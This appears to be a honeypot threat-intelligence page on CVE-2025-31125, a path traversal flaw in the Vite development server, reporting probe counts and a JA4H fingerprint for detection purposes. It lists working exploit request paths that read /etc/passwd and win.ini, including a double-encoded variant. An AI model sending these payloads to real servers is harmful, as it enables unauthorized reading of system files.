CVE-2025-31125: Vite Development Server - Path Traversal

HoneyLabs honeypots recorded 2 probes matching CVE-2025-31125 from 1 distinct source IP addresses in the last 7 days. Severity is rated medium.

This CVE is on CISA's Known Exploited Vulnerabilities list.

Request paths that identify it

• /@fs/C:/windows/win.ini?import&?inline=1.wasm?init
• /@fs/../../../../../../../etc/passwd?import&?inline=1.wasm?init
• /@fs/etc/passwd?import&?inline=1.wasm?init
• /@fs/%252e%252e/%252e%252e/%252e%252e/etc/passwd?import&?inline=1.wasm?init

Addresses probing it

Networks it comes from

Captured requests

• /@fs/etc/passwd?import&?inline=1.wasm?init

HTTP client fingerprints (JA4H)

• ge11nn0400_88d30a62b7ad